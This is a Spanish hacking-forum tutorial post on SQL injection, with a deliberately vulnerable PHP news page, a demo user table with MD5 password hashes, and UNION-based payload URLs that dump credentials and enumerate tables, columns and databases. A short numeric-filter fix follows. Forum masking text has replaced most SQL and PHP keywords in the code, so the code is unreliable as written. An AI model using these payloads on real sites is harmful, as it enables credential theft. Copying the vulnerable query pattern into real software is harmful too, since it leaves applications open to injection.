send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Explicacion practica de sqli [a pedido de staRgan]

  • 0 Respuestas
  • 1373 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado blozzter

  • *
  • Underc0der
  • Mensajes: 106
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • blozzter-blz
« en: Agosto 24, 2011, 09:15:14 pm »
qué es.

es una técnica que consiste en hacer consultas de forma directa a la base de datos del sistema.


cuándo se produce.

se producen cuando se incluye en una consulta SQL una variable que no ha sido previamente filtrada.


ejemplo práctico

imaginemos que tenemos una base de datos llamada 'database' a la que tiene acceso el usuario 'root' y cuya pass es 'pass'.

la DB tiene 2 tablas, una de noticias y otra de usuarios.

seria asi:

Código: MySQL
  1. --
  2. -- Estructura de tabla para la tabla `noticias`
  3. --
  4.  
  5. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login `noticias` (
  6.   `id` You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(5) You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login,
  7.   `titulo` You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(50) You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login '',
  8.   `cuerpo` You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login,
  9.   You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login  (`id`)
  10. ) You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login=MyISAM  You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login=utf8 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login=3 ;
  11.  
  12. --
  13. -- Volcar la base de datos para la tabla `noticias`
  14. --
  15.  
  16. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login `noticias` You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (1, 'introduccion practica a sqli', 'cuerpo de la primera noticia <br />\r\nbla <br />\r\nbla <br />\r\nbla <br />\r\n<br />\r\n<br />\r\n<h3> ¡< blozzter >!');
  17. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login `noticias` You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (2, 'titulo 2', 'cuerpo de la noticia 2 <br />\r\n... <br />\r\n... <br />\r\n... <br />\r\n... saludos mitm.cl\r\n');
  18.  
  19. -- --------------------------------------------------------
  20.  
  21. --
  22. -- Estructura de tabla para la tabla `usuarios`
  23. --
  24.  
  25. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login `usuarios` (
  26.   `id` You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(5) You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login,
  27.   `usuario` You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(20) You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login '',
  28.   `clave` You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(32) You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login,
  29.   You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login  (`id`)
  30. ) You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login=MyISAM  You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login=utf8 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login=3 ;
  31.  
  32. --
  33. -- Volcar la base de datos para la tabla `usuarios`
  34. --
  35.  
  36. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login `usuarios` You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (1, 'admin', '21232f297a57a5a743894a0e4a801fc3');
  37. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login `usuarios` You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (2, 'root', '63a9f0ea7bb98050796b649e85481845');
  38.  
  39.  


y la pagina cuenta con un archivo que accede a la DB para mostrar las noticias asociadas a cierto id, dicho archivo es vulnerable a sqli ya que no filtra la variable id.


archivo sqli.php:

Código: PHP
  1. <?php
  2.  
  3. $host = 'localhost';
  4. $user = 'root';
  5. $pass='pass';
  6. $datos = 'database';
  7.  
  8. $conexion = You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login($host, $user, $pass)
  9.         or You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login("no se ha conectado a la db");
  10. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login($datos,$conexion)
  11.         or You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login("problemas al seleccionar db");
  12.  
  13.  
  14.  
  15. if (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login($_GET['id'])) {
  16. $id = $_GET['id'];
  17. }
  18.  
  19. if(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login($id)){
  20. $id = "1";
  21. }
  22.  
  23.        
  24. $sql = You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login("SELECT id, titulo, cuerpo FROM noticias WHERE id=".$id)
  25.         or You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login());
  26.  
  27. $resultado = You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login($sql);
  28.  
  29.  
  30. echo "<h2>".$resultado[1]."</h1><br />";
  31. echo "<h3>".$resultado[2]."</h3><br />";
  32. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login($conexion);
  33.  
  34. ?>
  35.  


teniendo eso podemos generar una consulta que nos permita acceder a la información almacenada en la DB. por ejemplo, que nos arroje sus usuarios y sus passwords:

Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
http://localhost/sqli.php?id= 1+union+select+all+1,2,group_concat(id,0x3a3a,usuario,0x3a3a,clave,0x3c62723e)+from+usuarios
lo que devolvería algo como:

Citar
1::admin::21232f297a57a5a743894a0e4a801fc3
,2::root::63a9f0ea7bb98050796b649e85481845


cómo solucionar el problema.

podemos filtrar la variable id y asegurarnos que efectivamente sea un número:


Código: PHP
  1. <?php
  2.  
  3. ...
  4.  
  5. if (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login($_GET['id'])) {
  6. $id = $_GET['id'];
  7.  
  8. if (!You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login($id)){
  9.         echo "<script>alert('no me hagas sqli!')</script>";
  10.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  11.         }
  12. }
  13.  
  14. ...
  15.  
  16. ?>
  17.  


nota: no pongo todos los pasos del proceso de explotación porque aquí todos lo saben  :o


adicional:


para sacar las tablas en el ejemplo que estoy dando seria:

Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(table_name,0x3c62723e)+from+information_schema.tables+--+


para sacar las columnas de la tabla 'usuarios' sería:

Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(column_name,0x3c62723e)+from+information_schema.columns+where+table_name=0x7573756172696f73+--+
donde para convertir a hexadecimal podemos usar una You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login o bien hacernos nuestra propia You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


y para ver las bases de datos (esto lo aprendí del p0fk) :

Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(schema_name,0x3c62723e)+from+information_schema.schemata+--+

saludos.
« Última modificación: Julio 28, 2014, 01:02:04 pm por Expermicid »
¡< blozzter >!

 

¿Te gustó el post? COMPARTILO!



SQLI tutorial pour débutants ( newbie) ecrite par *..::Key-m0rt::..*

Iniciado por ..::key-m0rt::..

Respuestas: 0
Vistas: 1548
Último mensaje Marzo 23, 2010, 12:38:21 pm
por ..::key-m0rt::..
LFI+SQLI [Incluyendo ficheros a travez de valores enteros]

Iniciado por q3rv0

Respuestas: 4
Vistas: 1583
Último mensaje Julio 24, 2013, 01:43:36 pm
por M5f3r0
[Video] Jugando al JuAckEr pt 1. [No es tutorial][SQLi+Deface]

Iniciado por Xt3mP

Respuestas: 0
Vistas: 1331
Último mensaje Julio 21, 2010, 07:43:44 pm
por Xt3mP
SQLi bypaseando el firewall y pasando el examen!

Iniciado por arthusu

Respuestas: 5
Vistas: 2241
Último mensaje Junio 07, 2013, 10:12:11 pm
por morodog
Exploit Career jobs wordpress[SQLi]

Iniciado por OswireW0rding

Respuestas: 1
Vistas: 1731
Último mensaje Marzo 12, 2014, 10:39:40 pm
por .:UND3R:.